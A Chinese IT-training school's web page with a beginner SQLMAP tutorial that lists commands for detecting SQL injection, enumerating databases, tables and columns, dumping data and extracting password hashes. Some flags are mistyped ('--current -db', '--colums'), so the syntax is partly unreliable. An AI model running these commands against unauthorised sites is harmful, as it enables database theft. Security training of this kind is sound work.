集团主站
欢迎来到成都达内官方网站!达内—美国上市公司 亿元级外企IT培训企业!
成都it培训哪家好
成都it培训哪家好
全国服务监督电话:400-111-8989  |   联系客服   |
当前位置:主页 > 培训课程 > 网络工程 >

成都网络工程师待遇:SQLMAP入门

发布者: 成都达内     浏览次数:     发布时间:2020-09-10 14:24:00

成都网络工程师待遇:SQLMAP入门,1、判断是否存在注入;2、判断文本中的请求是否存在注入;3、查询当前用户下的所有数据库;4、获取数据库的表名;5、获取表中的字段名。...

  一、SQLMAP入门

  1、判断是否存在注入

  1sqlmap.py -u 网址/id=1

  id=1不可缺少。当注入点后面的参数大于两个时。需要加双引号,

  1sqlmap.py -u "网址/id=1&uid=1"

  2、判断文本中的请求是否存在注入

  从文本中加载http请求,SQLMAP可以从一个文本文件中获取http请求,这样可以不设置其它参数,txt文件中的内容为web数据包。判断是否存在注入的命令:

  1sqlmap.py -r desktop/1.txt

  3、查询当前用户下的所有数据库

  该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库。

  1sqlmap.py -u 网址 --dbs、

  当继续注入时,--dbs缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据。

  4、获取数据库的表名

  该命令的作用是查询完数据库后,查询指定数据库中所有的表名。如果在该命令中不加入-D参数来指定某一个具体的数据库,那么SQLMap会列出数据库中所有库的表。

  1sqlmap.py -u "网址“ -D 数据库名 --tables

  当继续注入时,--tables缩写成-T,意思时=是在某表中继续查询。

  5、获取表中的字段名

  该命令的作用是查询完表名后,查询该表中所有的字段名。

  1sqlmap.py -u 网址 -D 数据库名 -T 表名 --columns

  在后续注入中,--colums缩写成 -C 。

  6、获取字段内容

  该命令是查询完字段名之后,获取该字段中具体的数据信息。

  1sqlmap.py -u 网址 -D 数据库名 -T表名 -C字段名 --dump

  7、获取数据库的所有用户

  该命令的作用是列出数据库的所有用户。如果当前用户有权限读取包含所有用户的表的权限是,使用该命令就可以列出所有管理用户。

  1sqlmap.py -u 网址 --users

  8、获取数据库用户的密码

  该命令的作用是列出数据库用户的密码。如果当前用户有读取包含用户密码的权限,SQLMAP会先例举出用户,然后列出Hash,并尝试破解。

  1sqlmap.py -u 网址 --passwords

  9、获取当前网站数据的名称

  使用该命令可以列出当前网站使用的数据库

  1sqlmap.py -u 网址 --current -db

  10、获取当前网站数据库的用户名称

  使用该命令可以列出当前网站使用的数据库用户。

  1sqlmap.py -u 网址 --current -user

(责任编辑:范老师)
最新开班
  • 成都Java培训班
    免费试听名额发放中...
  • 成都C++培训班
    免费试听名额发放中...
  • 成都PHP培训班
    免费试听名额发放中...
  • 成都网络工程培训班
    免费试听名额发放中...
  • 成都Unity3D培训班
    免费试听名额发放中...
  • 成都大数据培训班
    免费试听名额发放中...
  • 成都uid培训班
    免费试听名额发放中...
  • 成都会计培训班
    免费试听名额发放中...
  • 成都Python培训班
    免费试听名额发放中...
  • 成都嵌入式培训班
    免费试听名额发放中...
  • 成都web培训班
    免费试听名额发放中...
  • 成都软件测试培训班
    免费试听名额发放中...
在线留言
提交

校区地址:成都市锦江区东大街紫东楼端35号明宇金融广场19楼1906室

联系电话:400-111-8989

公交路线:芷泉街(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:东门大桥站(地铁2号线)

校区地址:成都市高新区奥克斯广场蜀锦路209号一楼商铺

联系电话:400-111-8989

公交路线:益州大道锦城大道口(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:孵化园(地铁1号线)

校区地址:成都锦江区东大街芷泉街229号东方广场C座3楼303

联系电话:400-111-8989

公交路线:芷泉街(188路;115路;515路;236路;505路;501路;84路 ) 地铁路线:东门大桥站(地铁2号线)

校区地址:成都市武侯区佳灵路3号红牌楼广场2号写字楼11楼1115号

联系电话:400-111-8989

公交路线:红牌楼东(11路;92路;100路;111路;139路;g28路;快速公交K1/K2) 地铁路线:红牌楼站(地铁3号线)

校区地址:成都市锦江区红星路二段70号四川日报大厦502-2

联系电话:400-111-8989

公交路线:市二医院站(6路;49路;102路;5路;37路;g92路;) 地铁路线:地铁市二医院(地铁3号线)

校区地址:成都市锦江区东大街芷泉段229号东方广场C座16层

联系电话:400-111-8989

公交路线:芷泉街(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:东门大桥站(地铁2号线)

校区地址:四川省成都市武侯区高新科技孵化园9号园区E座7楼

联系电话:400-111-8989

公交路线:益州大道锦城大道口(18路;21路;43路;48路;104路;152路;335路 ) 地铁路线:孵化园(地铁1号线)

了解达内动态
关注成都达内教育公众号

首页 | 关于达内 | 课程中心 | 专家师资 | 视频教程 | 学员空间 | 校企合作 | 新闻资讯 | 就业指导 | 网站地图

2016-2025 达内时代科技集团有限公司 版权所有 京ICP证8000853号-56 蜀ICP备18021046号-3